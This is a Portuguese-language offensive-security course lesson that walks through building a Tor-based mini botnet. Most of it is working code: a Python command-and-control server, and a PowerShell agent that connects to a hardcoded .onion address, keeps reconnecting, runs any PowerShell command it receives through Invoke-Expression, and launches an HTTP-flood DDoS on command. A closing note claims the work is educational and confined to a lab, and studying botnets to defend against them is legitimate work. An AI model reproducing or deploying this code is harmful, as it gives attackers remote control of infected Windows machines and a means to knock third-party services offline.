Aula 131 | Mini Rede de Agentes

Aula 131 | Mini Rede de Agentes

Nesta aula, segui a evolução natural do projeto iniciado nas aulas anteriores, especialmente a partir da Aula 130, onde criamos um executável modular e persistente capaz de operar discretamente em sistemas Windows. Agora, nosso foco é transformar esse agente em parte de uma mini botnet controlada remotamente, demonstrando um cenário realista de coordenação entre múltiplas máquinas infectadas, utilizando a rede Tor para garantir anonimato e segurança de comunicação.

Estrutura do Laboratório

O ambiente construído para a aula consiste em quatro máquinas virtuais:

  • Uma máquina com Kali Linux, que atua como o servidor C2 (comando e controle).

  • Três máquinas com Windows 10, cada uma rodando o agente winlogsync.exe.

Todas essas máquinas estão configuradas para operar através da rede Tor, garantindo que os agentes consigam se comunicar com o C2 sem expor seus endereços IP públicos, e vice-versa. Essa camada de anonimato é essencial em operações reais de botnets.

Papel de Cada Componente

O agente, instalado nas máquinas Windows, é uma versão aprimorada do que foi construído na aula anterior. Sua funcionalidade agora vai além da persistência e execução silenciosa: ele é capaz de consultar um servidor remoto em busca de comandos a serem executados. Esse comportamento transforma o agente em um cliente ativo de um servidor de controle, permitindo que ele execute ações coordenadas.

O servidor C2, por sua vez, é responsável por enviar comandos para os agentes. Ele é implementado de forma simples, utilizando Python, e se comporta como um ponto central de comando que os agentes acessam periodicamente. Essa arquitetura de "pull", onde os agentes fazem a requisição, é ideal para se manter discreta, evitando conexões suspeitas de entrada.

Demonstração de um Ataque Coordenado

Para ilustrar a capacidade ofensiva desse sistema, modifiquei o comportamento dos agentes para que possam receber e executar um comando de ataque DDoS do tipo HTTP Flood. Ao enviar um comando contendo um endereço de destino, o servidor C2 instrui os agentes conectados a iniciar um volume massivo de requisições HTTP contra o alvo. Em um ambiente real, com agentes distribuídos em diferentes redes e provedores, isso poderia causar uma interrupção significativa de serviço. Essa simulação de ataque distribuído permite compreender a mecânica de botnets, sua escalabilidade e como a descentralização e o uso de anonimato via Tor complicam a mitigação e o rastreio da origem.

Servidor C2 em Python

import socket
import threading
import time
import os
import sys
import signal
import subprocess

PORTA_C2 = 4444
bots = []
lock = threading.Lock()
executando = True
modo_terminal_bot = False
inicio_conexoes = {}
modo_interacao = threading.Event()


def tratar_bot(bot_socket, endereco):
    nome = f"Bot_{endereco[0]}:{endereco[1]}"
    try:
        with lock:
            bots.append({
                "nome": nome,
                "socket": bot_socket,
                "endereco": endereco,
                "ativo": True
            })
            inicio_conexoes[nome] = time.time()

        print(f"[+] Conexão recebida de {nome}")

        while executando:
            try:
                dados = bot_socket.recv(4096)
                if not dados:
                    break
                resposta = dados.decode(errors="ignore").strip()
                if resposta:
                    print(f"\n[{nome}] -> {resposta}")
            except socket.timeout:
                continue
            except:
                break

    finally:
        with lock:
            bots[:] = [b for b in bots if b["socket"] != bot_socket]
            if nome in inicio_conexoes:
                del inicio_conexoes[nome]
        bot_socket.close()
        print(f"[-] Bot desconectado: {nome}")


def tempo_online(nome):
    if nome not in inicio_conexoes:
        return "-"
    segundos = int(time.time() - inicio_conexoes[nome])
    minutos, segundos = divmod(segundos, 60)
    return f"{minutos}m {segundos}s"


def painel_dinamico():
    while executando:
        if modo_interacao.is_set():
            time.sleep(1)
            continue
        os.system('cls' if os.name == 'nt' else 'clear')
        print("=" * 60)
        print(" NetCat Test C2 — Monitor ".center(60, " "))
        print("=" * 60)
        print(f"\nEscutando na porta {PORTA_C2}\n")
        with lock:
            if not bots:
                print("[!] Nenhum bot conectado.")
            else:
                for i, bot in enumerate(bots):
                    status = "\033[92m[ATIVO]\033[0m" if bot["ativo"] else "\033[91m[DESCONECTADO]\033[0m"
                    ip, porta = bot["endereco"]
                    tempo = tempo_online(bot["nome"])
                    print(f"[{i}] {bot['nome']} | {ip}:{porta} | {status} | {tempo}")
        print("\nComandos disponíveis:")
        print("- selecionar <id>")
        print("- sair")
        time.sleep(5)


def terminal_comando():
    global executando
    while executando:
        try:
            cmd = input(">> ").strip()
            if cmd.lower().startswith("selecionar"):
                try:
                    idx = int(cmd.replace("selecionar", "").strip())
                    with lock:
                        if idx < 0 or idx >= len(bots):
                            print("❌ ID fora da lista.")
                            continue
                        if not bots[idx]["ativo"]:
                            print("❌ Bot desconectado.")
                            continue
                    terminal_independente(idx)
                except ValueError:
                    print("❌ ID inválido. Use um número.")
            elif cmd.lower() == "sair":
                executando = False
                os._exit(0)
            else:
                print("❌ Comando não reconhecido. Use: selecionar <id> ou sair")
        except (KeyboardInterrupt, EOFError):
            executando = False
            os._exit(0)


def terminal_independente(idx):
    global executando
    time.sleep(0.5)
    modo_interacao.set()

    with lock:
        if idx < 0 or idx >= len(bots):
            print("❌ ID fora da lista.")
            modo_interacao.clear()
            return
        bot = bots[idx]
        if not bot["ativo"]:
            print("❌ Bot está desconectado.")
            modo_interacao.clear()
            return

    print(f"\nTerminal dedicado com {bot['nome']}.")
    print("Digite comandos PowerShell. Digite 'voltar' para sair.\n")

    try:
        while executando:
            comando = input(f"{bot['nome']} $ ").strip()
            if comando.lower() == "voltar":
                print("↩ Encerrando terminal.")
                break
            if comando:
                try:
                    bot["socket"].sendall((comando + "\n").encode())
                except:
                    print("❌ Erro ao enviar comando.")
                    break
    except KeyboardInterrupt:
        print("[!] Encerrando.")
    finally:
        modo_interacao.clear()


def iniciar_servidor():
    servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    servidor.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    servidor.bind(("0.0.0.0", PORTA_C2))
    servidor.listen(100)
    print(f"[*] NetCat Test C2 escutando na porta {PORTA_C2}...")

    threading.Thread(target=painel_dinamico, daemon=True).start()
    threading.Thread(target=terminal_comando, daemon=True).start()

    while executando:
        try:
            bot_socket, endereco = servidor.accept()
            threading.Thread(target=tratar_bot, args=(bot_socket, endereco), daemon=True).start()
        except KeyboardInterrupt:
            print("\n[!] Encerrando C2.")
            break
        except Exception as e:
            print(f"[!] Erro: {e}")
    servidor.close()


def sair_graciosamente(sig, frame):
    global executando
    print("\n[!] Finalizando...")
    executando = False
    sys.exit(0)


signal.signal(signal.SIGINT, sair_graciosamente)

if __name__ == "__main__":
    iniciar_servidor()

 

Parte Função
iniciar_servidor() Inicia o servidor C2 e aceita conexões
tratar_bot() Trata cada bot individualmente, registra, exibe e responde
painel_dinamico() Exibe painel com bots conectados e status
terminal_comando() Interface interativa para o operador selecionar bots e enviar comandos
terminal_independente() Terminal dedicado para um bot específico
modo_interacao (flag) Pausa o painel dinâmico enquanto interage com bot

✅ Suporte a múltiplos bots
✅ Permite envio de comandos PowerShell ou comandos especiais
✅ Funciona em modelo "pull" — os bots se conectam ao C2 (sem escuta no cliente)

Winlogsync Atualizado

Taskdata:

function Start-Bot {
    try {
        $torProxy = "127.0.0.1"
        $torPort = 9050
        $onionHost = "njhnpkiuqkfc7yocpidh5vixpb6npuq7ukg3xi6kdvwychveyafvieid.onion"
        $onionPort = 4444

        Start-Sleep -Seconds 5

        $client = New-Object System.Net.Sockets.TcpClient
        $client.Connect($torProxy, $torPort)
        $stream = $client.GetStream()

        $stream.Write([byte[]](0x05, 0x01, 0x00), 0, 3)
        $buffer = New-Object Byte[] 2
        $stream.Read($buffer, 0, 2) | Out-Null
        if ($buffer[1] -ne 0x00) { $stream.Close(); return }

        $hostBytes = [System.Text.Encoding]::ASCII.GetBytes($onionHost)
        $portHigh = [math]::Floor($onionPort / 256)
        $portLow = $onionPort % 256
        $portBytes = [byte[]]($portHigh, $portLow)
        $request = [byte[]](0x05, 0x01, 0x00, 0x03, $hostBytes.Length) + $hostBytes + $portBytes
        $stream.Write($request, 0, $request.Length)
        $response = New-Object Byte[] 10
        $stream.Read($response, 0, 10) | Out-Null
        if ($response[1] -ne 0x00) { $stream.Close(); return }

        $writer = New-Object System.IO.StreamWriter($stream)
        $reader = New-Object System.IO.StreamReader($stream)
        $writer.AutoFlush = $true

        $global:stopFlood = $false
        $global:floodJob = $null

        function Iniciar-Ataque($url) {
            $global:stopFlood = $false
            $global:floodJob = Start-Job {
                param($url)
                while ($true) {
                    try {
                        Invoke-WebRequest -Uri $url -UseBasicParsing -TimeoutSec 2 | Out-Null
                    } catch {}
                    Start-Sleep -Milliseconds 100
                    if ([System.Threading.Monitor]::IsEntered($global:stopFlood)) { break }
                    if ($global:stopFlood) { break }
                }
            } -ArgumentList $url
        }

        function Parar-Ataque {
            $global:stopFlood = $true
            if ($global:floodJob) {
                $jobId = $global:floodJob.Id
                if (Get-Job -Id $jobId -ErrorAction SilentlyContinue) {
                    Stop-Job -Id $jobId
                    Remove-Job -Id $jobId
                }
                $global:floodJob = $null
            }
        }

        while ($true) {
            try {
                $command = $reader.ReadLine()
                if ([string]::IsNullOrEmpty($command)) { break }

                if ($command.StartsWith("http ")) {
                    $url = $command.Substring(5)
                    Iniciar-Ataque $url
                    $writer.WriteLine("Ataque HTTP iniciado contra: $url")
                }
                elseif ($command -eq "parar ataque") {
                    Parar-Ataque
                    $writer.WriteLine("Ataque HTTP interrompido com sucesso.")
                }
                else {
                    $output = Invoke-Expression $command 2>&1 | Out-String
                    $output = $output.Trim() + "`nPS " + (Get-Location) + "> "
                    $writer.WriteLine($output)
                }
            } catch {
                $writer.WriteLine("Erro de execucao: $_")
            }
        }

        $writer.Close()
        $reader.Close()
        $stream.Close()
        $client.Close()
    } catch {}
}

while ($true) {
    Start-Bot
    Start-Sleep -Seconds 5
}

Melhorias na Aula 130+

  • Encapsulamento da lógica em Start-Bot

  • Loop infinito com reconexão automática (bot sempre tentando voltar ao C2)

  • Conexão via proxy Tor SOCKS5

  • Execução de comandos PowerShell

  • Inclusão de:

Iniciar-Ataque Parar-Ataque
Comando http <url> inicia ataque DDoS (HTTP flood) Interrompe o flood em tempo real

Detalhes do funcionamento:

  • Comando recebido via rede é processado em tempo real

  • Se for http <url>, dispara múltiplas requisições usando Invoke-WebRequest em loop paralelo (job)

  • Se for parar ataque, finaliza job do flood

  • Se for outro comando, executa no PowerShell com Invoke-Expression

  • Saída é enviada de volta ao C2

Exemplo de fluxo da aula

  1. C2 inicia e escuta conexões

  2. Bots conectam via .onion pelo Tor

  3. Operador do C2 vê os bots com tempo online e status

  4. Seleciona o bot e envia:

    • http https://alvo.com → ataque começa

    • parar ataque → ataque para

    • Get-Process → resposta é devolvida

  5. O loop no PowerShell garante que o bot tente reconectar mesmo após queda

Nesta aula, construímos um laboratório realista de segurança ofensiva que simula o funcionamento de uma botnet controlada remotamente por meio da rede Tor. Utilizando máquinas virtuais, desenvolvemos e implantamos um agente persistente que se comunica com um servidor C2 (Comando e Controle) de forma anônima, recebendo comandos remotos e realizando tarefas coordenadas — como ataques HTTP Flood — em um ambiente de teste controlado. Este tipo de laboratório permite compreender com profundidade os mecanismos reais utilizados por grupos maliciosos, e, ao mesmo tempo, fornece conhecimento prático valioso para profissionais de segurança, pesquisadores, e pentesters éticos.

⚠️ Nota sobre Ética e Responsabilidade

Todo o conteúdo apresentado nesta aula tem finalidade exclusivamente educacional. O ambiente foi criado em um laboratório isolado e seguro, sem afetar redes, sistemas ou terceiros. A prática de técnicas ofensivas sem autorização explícita é ilegal e antiética.

Este curso tem como objetivo capacitar profissionais a entender e defender sistemas reais, reconhecendo táticas de adversários e desenvolvendo a capacidade de mitigar ameaças avançadas. A ética deve ser sempre o pilar central da atuação em segurança da informação.

Sugestões de Aulas

Aula 132 | Vetor de Ataque mshta

Ver Aula

Aula 130 | Disfarçando .EXE

Ver Aula

Aula 26 | Sessão

Ver Aula